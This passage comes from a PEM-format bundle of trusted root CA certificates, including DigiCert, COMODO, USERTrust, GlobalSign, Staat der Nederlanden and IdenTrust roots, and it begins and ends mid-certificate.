IxSR/xl/pcqs7rN2nXrpixurazHb+gtTTK/FpRp5PIpM/6zfJd5O2YIyC0TeytuMrKNuFoM7pmRL Mon7FhY4futD4tN0SsJiCnMK3UmzV9KwCoWdcTzeo8vAMvMBOSBDGzXRU7Ox7sWTaYI+FrUoRqHe 6okJ7UO4BUaKhvVZR74bbwEhELn9qdIoyhA5CcoTNs+cra1AdHkrAj80//ogaX3T7mH1urPnMNA3 I4ZyYUUpSFlob3emLoG+B01vr87ERRORFHAGjx+f+IdpsQ7vw4kZ6+ocYfx6bIrc1gMLnia6Et3U VDmrJqMz6nWB2i3ND0/kA9HvFZcba5DFApCTZgIhsUfei5pKgLlVj7WiL8DWM2fafsSntARE60f7 5li59wzweyuxwHApw0BiLTtIadwjPEjrewl5qW3aqDCYz4ByA4imW0aucnl8CAMhZa634RylsSqi Md5mBPfAdOhx3v89WcyWJhKLhZVXGqtrdQtEPREoPHtht+KPZ0/l7DxMYIBpVzgeAVuNVejH38DM dyM0SXV89pgR6y3e7UEuFAUCf+D+IOs15xGsIs5XPd7JMG0QA4XN8f+MFrXBsj6IbGB/kE+V9/Yt rQE5BwT6dYB9v0lQ7e/JxHwc64B+27bQ3RP+ydOc17KXqQIDAQABo0IwQDAPBgNVHRMBAf8EBTAD AQH/MA4GA1UdDwEB/wQEAwIBBjAdBgNVHQ4EFgQUxhfQvKjqAkPyGwaZXSuQILnXnOQwDQYJKoZI hvcNAQELBQADggIBADRh2Va1EodVTd2jNTFGu6QHcrxfYWLopfsLN7E8trP6KZ1/AvWkyaiTt3px KGmPc+FSkNrVvjrlt3ZqVoAh313m6Tqe5T72omnHKgqwGEfcIHB9UqM+WXzBusnIFUBhynLWcKzS t/Ac5IYp8M7vaGPQtSCKFWGafoaYtMnCdvvMujAWzKNhxnQT5WvvoxXqA/4Ti2Tk08HS6IT7SdEQ TXlm66r99I0xHnAUrdzeZxNMgRVhvLfZkXdxGYFgu/BYpbWcC/ePIlUnwEsBbTuZDdQdm2NnL9Du DcpmvJRPpq3t/O5jrFc/ZSXPsoaP0Aj/uHYUbt7lJ+yreLVTubY/6CD50qi+YUbKh4yE8/nxoGib Ih6BJpsQBJFxwAYf3KDTuVan45gtf4Od34wrnDKOMpTwATwiKp9Dwi7DmDkHOHv8XgBCH/MyJnmD hPbl8MFREsALHgQjDFSlTC9JxUrRtm5gDWv8a4uFJGS3iQ6rJUdbPM9+Sb3H6QrG2vd+DhcI00iX 0HGS8A85PjRqHH3Y8iKuu2n0M7SmSFXRDw4m6Oy2Cy2nhTXN/VnIn9HNPlopNLk9hM6xZdRZkZFW dSHBd575euFgndOtBBj0fOtek49TSiIp+EgrPk2GrFt/ywaZWWDYWGWVjUTR939+J399roD1B0y2 PpxxVJkES/1Y+Zj0 -----END CERTIFICATE----- DigiCert Assured ID Root G2 =========================== -----BEGIN CERTIFICATE----- MIIDljCCAn6gAwIBAgIQC5McOtY5Z+pnI7/Dr5r0SzANBgkqhkiG9w0BAQsFADBlMQswCQYDVQQG EwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3d3cuZGlnaWNlcnQuY29tMSQw IgYDVQQDExtEaWdpQ2VydCBBc3N1cmVkIElEIFJvb3QgRzIwHhcNMTMwODAxMTIwMDAwWhcNMzgw MTE1MTIwMDAwWjBlMQswCQYDVQQGEwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQL ExB3d3cuZGlnaWNlcnQuY29tMSQwIgYDVQQDExtEaWdpQ2VydCBBc3N1cmVkIElEIFJvb3QgRzIw ggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDZ5ygvUj82ckmIkzTz+GoeMVSAn61UQbVH 35ao1K+ALbkKz3X9iaV9JPrjIgwrvJUXCzO/GU1BBpAAvQxNEP4HteccbiJVMWWXvdMX0h5i89vq bFCMP4QMls+3ywPgym2hFEwbid3tALBSfK+RbLE4E9HpEgjAALAcKxHad3A2m67OeYfcgnDmCXRw VWmvo2ifv922ebPynXApVfSr/5Vh88lAbx3RvpO704gqu52/clpWcTs/1PPRCv4o76Pu2ZmvA9OP YLfykqGxvYmJHzDNw6YuYjOuFgJ3RFrngQo8p0Quebg/BLxcoIfhG69Rjs3sLPr4/m3wOnyqi+Rn lTGNAgMBAAGjQjBAMA8GA1UdEwEB/wQFMAMBAf8wDgYDVR0PAQH/BAQDAgGGMB0GA1UdDgQWBBTO w0q5mVXyuNtgv6l+vVa1lzan1jANBgkqhkiG9w0BAQsFAAOCAQEAyqVVjOPIQW5pJ6d1Ee88hjZv 0p3GeDgdaZaikmkuOGybfQTUiaWxMTeKySHMq2zNixya1r9I0jJmwYrA8y8678Dj1JGG0VDjA9tz d29KOVPt3ibHtX2vK0LRdWLjSisCx1BL4GnilmwORGYQRI+tBev4eaymG+g3NJ1TyWGqolKvSnAW hsI6yLETcDbYz+70CjTVW0z9B5yiutkBclzzTcHdDrEcDcRjvq30FPuJ7KJBDkzMyFdA0G4Dqs0M jomZmWzwPDCvON9vvKO+KSAnq3T/EyJ43pdSVR6DtVQgA+6uwE9W3jfMw3+qBCe703e4YtsXfJwo IhNzbM8m9Yop5w== -----END CERTIFICATE----- DigiCert Assured ID Root G3 =========================== -----BEGIN CERTIFICATE----- MIICRjCCAc2gAwIBAgIQC6Fa+h3foLVJRK/NJKBs7DAKBggqhkjOPQQDAzBlMQswCQYDVQQGEwJV UzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3d3cuZGlnaWNlcnQuY29tMSQwIgYD VQQDExtEaWdpQ2VydCBBc3N1cmVkIElEIFJvb3QgRzMwHhcNMTMwODAxMTIwMDAwWhcNMzgwMTE1 MTIwMDAwWjBlMQswCQYDVQQGEwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3 d3cuZGlnaWNlcnQuY29tMSQwIgYDVQQDExtEaWdpQ2VydCBBc3N1cmVkIElEIFJvb3QgRzMwdjAQ BgcqhkjOPQIBBgUrgQQAIgNiAAQZ57ysRGXtzbg/WPuNsVepRC0FFfLvC/8QdJ+1YlJfZn4f5dwb RXkLzMZTCp2NXQLZqVneAlr2lSoOjThKiknGvMYDOAdfVdp+CW7if17QRSAPWXYQ1qAk8C3eNvJs KTmjQjBAMA8GA1UdEwEB/wQFMAMBAf8wDgYDVR0PAQH/BAQDAgGGMB0GA1UdDgQWBBTL0L2p4ZgF UaFNN6KDec6NHSrkhDAKBggqhkjOPQQDAwNnADBkAjAlpIFFAmsSS3V0T8gj43DydXLefInwz5Fy YZ5eEJJZVrmDxxDnOOlYJjZ91eQ0hjkCMHw2U/Aw5WJjOpnitqM7mzT6HtoQknFekROn3aRukswy 1vUhZscv6pZjamVFkpUBtA== -----END CERTIFICATE----- DigiCert Global Root G2 ======================= -----BEGIN CERTIFICATE----- MIIDjjCCAnagAwIBAgIQAzrx5qcRqaC7KGSxHQn65TANBgkqhkiG9w0BAQsFADBhMQswCQYDVQQG EwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3d3cuZGlnaWNlcnQuY29tMSAw HgYDVQQDExdEaWdpQ2VydCBHbG9iYWwgUm9vdCBHMjAeFw0xMzA4MDExMjAwMDBaFw0zODAxMTUx MjAwMDBaMGExCzAJBgNVBAYTAlVTMRUwEwYDVQQKEwxEaWdpQ2VydCBJbmMxGTAXBgNVBAsTEHd3 dy5kaWdpY2VydC5jb20xIDAeBgNVBAMTF0RpZ2lDZXJ0IEdsb2JhbCBSb290IEcyMIIBIjANBgkq hkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAuzfNNNx7a8myaJCtSnX/RrohCgiN9RlUyfuI2/Ou8jqJ kTx65qsGGmvPrC3oXgkkRLpimn7Wo6h+4FR1IAWsULecYxpsMNzaHxmx1x7e/dfgy5SDN67sH0NO 3Xss0r0upS/kqbitOtSZpLYl6ZtrAGCSYP9PIUkY92eQq2EGnI/yuum06ZIya7XzV+hdG82MHauV BJVJ8zUtluNJbd134/tJS7SsVQepj5WztCO7TG1F8PapspUwtP1MVYwnSlcUfIKdzXOS0xZKBgyM UNGPHgm+F6HmIcr9g+UQvIOlCsRnKPZzFBQ9RnbDhxSJITRNrw9FDKZJobq7nMWxM4MphQIDAQAB o0IwQDAPBgNVHRMBAf8EBTADAQH/MA4GA1UdDwEB/wQEAwIBhjAdBgNVHQ4EFgQUTiJUIBiV5uNu 5g/6+rkS7QYXjzkwDQYJKoZIhvcNAQELBQADggEBAGBnKJRvDkhj6zHd6mcY1Yl9PMWLSn/pvtsr F9+wX3N3KjITOYFnQoQj8kVnNeyIv/iPsGEMNKSuIEyExtv4NeF22d+mQrvHRAiGfzZ0JFrabA0U WTW98kndth/Jsw1HKj2ZL7tcu7XUIOGZX1NGFdtom/DzMNU+MeKNhJ7jitralj41E6Vf8PlwUHBH QRFXGU7Aj64GxJUTFy8bJZ918rGOmaFvE7FBcf6IKshPECBV1/MUReXgRPTqh5Uykw7+U0b6LJ3/ iyK5S9kJRaTepLiaWN0bfVKfjllDiIGknibVb63dDcY3fe0Dkhvld1927jyNxF1WW6LZZm6zNTfl MrY= -----END CERTIFICATE----- DigiCert Global Root G3 ======================= -----BEGIN CERTIFICATE----- MIICPzCCAcWgAwIBAgIQBVVWvPJepDU1w6QP1atFcjAKBggqhkjOPQQDAzBhMQswCQYDVQQGEwJV UzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3d3cuZGlnaWNlcnQuY29tMSAwHgYD VQQDExdEaWdpQ2VydCBHbG9iYWwgUm9vdCBHMzAeFw0xMzA4MDExMjAwMDBaFw0zODAxMTUxMjAw MDBaMGExCzAJBgNVBAYTAlVTMRUwEwYDVQQKEwxEaWdpQ2VydCBJbmMxGTAXBgNVBAsTEHd3dy5k aWdpY2VydC5jb20xIDAeBgNVBAMTF0RpZ2lDZXJ0IEdsb2JhbCBSb290IEczMHYwEAYHKoZIzj0C AQYFK4EEACIDYgAE3afZu4q4C/sLfyHS8L6+c/MzXRq8NOrexpu80JX28MzQC7phW1FGfp4tn+6O YwwX7Adw9c+ELkCDnOg/QW07rdOkFFk2eJ0DQ+4QE2xy3q6Ip6FrtUPOZ9wj/wMco+I+o0IwQDAP BgNVHRMBAf8EBTADAQH/MA4GA1UdDwEB/wQEAwIBhjAdBgNVHQ4EFgQUs9tIpPmhxdiuNkHMEWNp Yim8S8YwCgYIKoZIzj0EAwMDaAAwZQIxAK288mw/EkrRLTnDCgmXc/SINoyIJ7vmiI1Qhadj+Z4y 3maTD/HMsQmP3Wyr+mt/oAIwOWZbwmSNuJ5Q3KjVSaLtx9zRSX8XAbjIho9OjIgrqJqpisXRAL34 VOKa5Vt8sycX -----END CERTIFICATE----- DigiCert Trusted Root G4 ======================== -----BEGIN CERTIFICATE----- MIIFkDCCA3igAwIBAgIQBZsbV56OITLiOQe9p3d1XDANBgkqhkiG9w0BAQwFADBiMQswCQYDVQQG EwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3d3cuZGlnaWNlcnQuY29tMSEw HwYDVQQDExhEaWdpQ2VydCBUcnVzdGVkIFJvb3QgRzQwHhcNMTMwODAxMTIwMDAwWhcNMzgwMTE1 MTIwMDAwWjBiMQswCQYDVQQGEwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3 d3cuZGlnaWNlcnQuY29tMSEwHwYDVQQDExhEaWdpQ2VydCBUcnVzdGVkIFJvb3QgRzQwggIiMA0G CSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQC/5pBzaN675F1KPDAiMGkz7MKnJS7JIT3yithZwuEp pz1Yq3aaza57G4QNxDAf8xukOBbrVsaXbR2rsnnyyhHS5F/WBTxSD1Ifxp4VpX6+n6lXFllVcq9o k3DCsrp1mWpzMpTREEQQLt+C8weE5nQ7bXHiLQwb7iDVySAdYyktzuxeTsiT+CFhmzTrBcZe7Fsa vOvJz82sNEBfsXpm7nfISKhmV1efVFiODCu3T6cw2Vbuyntd463JT17lNecxy9qTXtyOj4DatpGY QJB5w3jHtrHEtWoYOAMQjdjUN6QuBX2I9YI+EJFwq1WCQTLX2wRzKm6RAXwhTNS8rhsDdV14Ztk6 MUSaM0C/CNdaSaTC5qmgZ92kJ7yhTzm1EVgX9yRcRo9k98FpiHaYdj1ZXUJ2h4mXaXpI8OCiEhtm mnTK3kse5w5jrubU75KSOp493ADkRSWJtppEGSt+wJS00mFt6zPZxd9LBADMfRyVw4/3IbKyEbe7 f/LVjHAsQWCqsWMYRJUadmJ+9oCw++hkpjPRiQfhvbfmQ6QYuKZ3AeEPlAwhHbJUKSWJbOUOUlFH dL4mrLZBdd56rF+NP8m800ERElvlEFDrMcXKchYiCd98THU/Y+whX8QgUWtvsauGi0/C1kVfnSD8 oR7FwI+isX4KJpn15GkvmB0t9dmpsh3lGwIDAQABo0IwQDAPBgNVHRMBAf8EBTADAQH/MA4GA1Ud DwEB/wQEAwIBhjAdBgNVHQ4EFgQU7NfjgtJxXWRM3y5nP+e6mK4cD08wDQYJKoZIhvcNAQEMBQAD ggIBALth2X2pbL4XxJEbw6GiAI3jZGgPVs93rnD5/ZpKmbnJeFwMDF/k5hQpVgs2SV1EY+CtnJYY ZhsjDT156W1r1lT40jzBQ0CuHVD1UvyQO7uYmWlrx8GnqGikJ9yd+SeuMIW59mdNOj6PWTkiU0Tr yF0Dyu1Qen1iIQqAyHNm0aAFYF/opbSnr6j3bTWcfFqK1qI4mfN4i/RN0iAL3gTujJtHgXINwBQy 7zBZLq7gcfJW5GqXb5JQbZaNaHqasjYUegbyJLkJEVDXCLG4iXqEI2FCKeWjzaIgQdfRnGTZ6iah ixTXTBmyUEFxPT9NcCOGDErcgdLMMpSEDQgJlxxPwO5rIHQw0uA5NBCFIRUBCOhVMt5xSdkoF1BN 5r5N0XWs0Mr7QbhDparTwwVETyw2m+L64kW4I1NsBm9nVX9GtUw/bihaeSbSpKhil9Ie4u1Ki7wb /UdKDd9nZn6yW0HQO+T0O/QEY+nvwlQAUaCKKsnOeMzV6ocEGLPOr0mIr/OSmbaz5mEP0oUA51Aa 5BuVnRmhuZyxm7EAHu/QD09CbMkKvO5D+jpxpchNJqU1/YldvIViHTLSoCtU7ZpXwdv6EM8Zt4tK G48BtieVU+i2iW1bvGjUI+iLUaJW+fCmgKDWHrO8Dw9TdSmq6hN35N6MgSGtBxBHEa2HPQfRdbzP 82Z+ -----END CERTIFICATE----- COMODO RSA Certification Authority ================================== -----BEGIN CERTIFICATE----- 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 LaZRfyHBNVOFBkpdn627G190 -----END CERTIFICATE----- USERTrust RSA Certification Authority ===================================== -----BEGIN CERTIFICATE----- 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 Q+6IHdfGjjxDah2nGN59PRbxYvnKkKj9 -----END CERTIFICATE----- USERTrust ECC Certification Authority ===================================== -----BEGIN CERTIFICATE----- MIICjzCCAhWgAwIBAgIQXIuZxVqUxdJxVt7NiYDMJjAKBggqhkjOPQQDAzCBiDELMAkGA1UEBhMC VVMxEzARBgNVBAgTCk5ldyBKZXJzZXkxFDASBgNVBAcTC0plcnNleSBDaXR5MR4wHAYDVQQKExVU aGUgVVNFUlRSVVNUIE5ldHdvcmsxLjAsBgNVBAMTJVVTRVJUcnVzdCBFQ0MgQ2VydGlmaWNhdGlv biBBdXRob3JpdHkwHhcNMTAwMjAxMDAwMDAwWhcNMzgwMTE4MjM1OTU5WjCBiDELMAkGA1UEBhMC VVMxEzARBgNVBAgTCk5ldyBKZXJzZXkxFDASBgNVBAcTC0plcnNleSBDaXR5MR4wHAYDVQQKExVU aGUgVVNFUlRSVVNUIE5ldHdvcmsxLjAsBgNVBAMTJVVTRVJUcnVzdCBFQ0MgQ2VydGlmaWNhdGlv biBBdXRob3JpdHkwdjAQBgcqhkjOPQIBBgUrgQQAIgNiAAQarFRaqfloI+d61SRvU8Za2EurxtW2 0eZzca7dnNYMYf3boIkDuAUU7FfO7l0/4iGzzvfUinngo4N+LZfQYcTxmdwlkWOrfzCjtHDix6Ez nPO/LlxTsV+zfTJ/ijTjeXmjQjBAMB0GA1UdDgQWBBQ64QmG1M8ZwpZ2dEl23OA1xmNjmjAOBgNV HQ8BAf8EBAMCAQYwDwYDVR0TAQH/BAUwAwEB/zAKBggqhkjOPQQDAwNoADBlAjA2Z6EWCNzklwBB HU6+4WMBzzuqQhFkoJ2UOQIReVx7Hfpkue4WQrO/isIJxOzksU0CMQDpKmFHjFJKS04YcPbWRNZu 9YO6bVi9JNlWSOrvxKJGgYhqOkbRqZtNyWHa0V1Xahg= -----END CERTIFICATE----- GlobalSign ECC Root CA - R5 =========================== -----BEGIN CERTIFICATE----- MIICHjCCAaSgAwIBAgIRYFlJ4CYuu1X5CneKcflK2GwwCgYIKoZIzj0EAwMwUDEkMCIGA1UECxMb R2xvYmFsU2lnbiBFQ0MgUm9vdCBDQSAtIFI1MRMwEQYDVQQKEwpHbG9iYWxTaWduMRMwEQYDVQQD EwpHbG9iYWxTaWduMB4XDTEyMTExMzAwMDAwMFoXDTM4MDExOTAzMTQwN1owUDEkMCIGA1UECxMb R2xvYmFsU2lnbiBFQ0MgUm9vdCBDQSAtIFI1MRMwEQYDVQQKEwpHbG9iYWxTaWduMRMwEQYDVQQD EwpHbG9iYWxTaWduMHYwEAYHKoZIzj0CAQYFK4EEACIDYgAER0UOlvt9Xb/pOdEh+J8LttV7HpI6 SFkc8GIxLcB6KP4ap1yztsyX50XUWPrRd21DosCHZTQKH3rd6zwzocWdTaRvQZU4f8kehOvRnkmS h5SHDDqFSmafnVmTTZdhBoZKo0IwQDAOBgNVHQ8BAf8EBAMCAQYwDwYDVR0TAQH/BAUwAwEB/zAd BgNVHQ4EFgQUPeYpSJvqB8ohREom3m7e0oPQn1kwCgYIKoZIzj0EAwMDaAAwZQIxAOVpEslu28Yx uglB4Zf4+/2a4n0Sye18ZNPLBSWLVtmg515dTguDnFt2KaAJJiFqYgIwcdK1j1zqO+F4CYWodZI7 yFz9SO8NdCKoCOJuxUnOxwy8p2Fp8fc74SrL+SvzZpA3 -----END CERTIFICATE----- Staat der Nederlanden EV Root CA ================================ -----BEGIN CERTIFICATE----- MIIFcDCCA1igAwIBAgIEAJiWjTANBgkqhkiG9w0BAQsFADBYMQswCQYDVQQGEwJOTDEeMBwGA1UE CgwVU3RhYXQgZGVyIE5lZGVybGFuZGVuMSkwJwYDVQQDDCBTdGFhdCBkZXIgTmVkZXJsYW5kZW4g RVYgUm9vdCBDQTAeFw0xMDEyMDgxMTE5MjlaFw0yMjEyMDgxMTEwMjhaMFgxCzAJBgNVBAYTAk5M MR4wHAYDVQQKDBVTdGFhdCBkZXIgTmVkZXJsYW5kZW4xKTAnBgNVBAMMIFN0YWF0IGRlciBOZWRl cmxhbmRlbiBFViBSb290IENBMIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEA48d+ifkk SzrSM4M1LGns3Amk41GoJSt5uAg94JG6hIXGhaTK5skuU6TJJB79VWZxXSzFYGgEt9nCUiY4iKTW O0Cmws0/zZiTs1QUWJZV1VD+hq2kY39ch/aO5ieSZxeSAgMs3NZmdO3dZ//BYY1jTw+bbRcwJu+r 0h8QoPnFfxZpgQNH7R5ojXKhTbImxrpsX23Wr9GxE46prfNeaXUmGD5BKyF/7otdBwadQ8QpCiv8 Kj6GyzyDOvnJDdrFmeK8eEEzduG/L13lpJhQDBXd4Pqcfzho0LKmeqfRMb1+ilgnQ7O6M5HTp5gV XJrm0w912fxBmJc+qiXbj5IusHsMX/FjqTf5m3VpTCgmJdrV8hJwRVXj33NeN/UhbJCONVrJ0yPr 08C+eKxCKFhmpUZtcALXEPlLVPxdhkqHz3/KRawRWrUgUY0viEeXOcDPusBCAUCZSCELa6fS/ZbV 0b5GnUngC6agIk440ME8MLxwjyx1zNDFjFE7PZQIZCZhfbnDZY8UnCHQqv0XcgOPvZuM5l5Tnrmd 74K74bzickFbIZTTRTeU0d8JOV3nI6qaHcptqAqGhYqCvkIH1vI4gnPah1vlPNOePqc7nvQDs/nx fRN0Av+7oeX6AHkcpmZBiFxgV6YuCcS6/ZrPpx9Aw7vMWgpVSzs4dlG4Y4uElBbmVvMCAwEAAaNC MEAwDwYDVR0TAQH/BAUwAwEB/zAOBgNVHQ8BAf8EBAMCAQYwHQYDVR0OBBYEFP6rAJCYniT8qcwa ivsnuL8wbqg7MA0GCSqGSIb3DQEBCwUAA4ICAQDPdyxuVr5Os7aEAJSrR8kN0nbHhp8dB9O2tLsI eK9p0gtJ3jPFrK3CiAJ9Brc1AsFgyb/E6JTe1NOpEyVa/m6irn0F3H3zbPB+po3u2dfOWBfoqSmu c0iH55vKbimhZF8ZE/euBhD/UcabTVUlT5OZEAFTdfETzsemQUHSv4ilf0X8rLiltTMMgsT7B/Zq 5SWEXwbKwYY5EdtYzXc7LMJMD16a4/CrPmEbUCTCwPTxGfARKbalGAKb12NMcIxHowNDXLldRqAN b/9Zjr7dn3LDWyvfjFvO5QxGbJKyCqNMVEIYFRIYvdr8unRu/8G2oGTYqV9Vrp9canaW2HNnh/tN f1zuacpzEPuKqf2evTY4SUmH9A4U8OmHuD+nT3pajnnUk+S7aFKErGzp85hwVXIy+TSrK0m1zSBi 5Dp6Z2Orltxtrpfs/J92VoguZs9btsmksNcFuuEnL5O7Jiqik7Ab846+HUCjuTaPPoIaGl6I6lD4 WeKDRikL40Rc4ZW2aZCaFG+XroHPaO+Zmr615+F/+PoTRxZMzG0IQOeLeG9QgkRQP2YGiqtDhFZK DyAthg710tvSeopLzaXoTvFeJiUBWSOgftL2fiFX1ye8FVdMpEbB4IMeDExNH08GGeL5qPQ6gqGy eUN51q1veieQA6TqJIc/2b3Z6fJfUEkc7uzXLg== -----END CERTIFICATE----- IdenTrust Commercial Root CA 1 ============================== -----BEGIN CERTIFICATE----- MIIFYDCCA0igAwIBAgIQCgFCgAAAAUUjyES1AAAAAjANBgkqhkiG9w0BAQsFADBKMQswCQYDVQQG 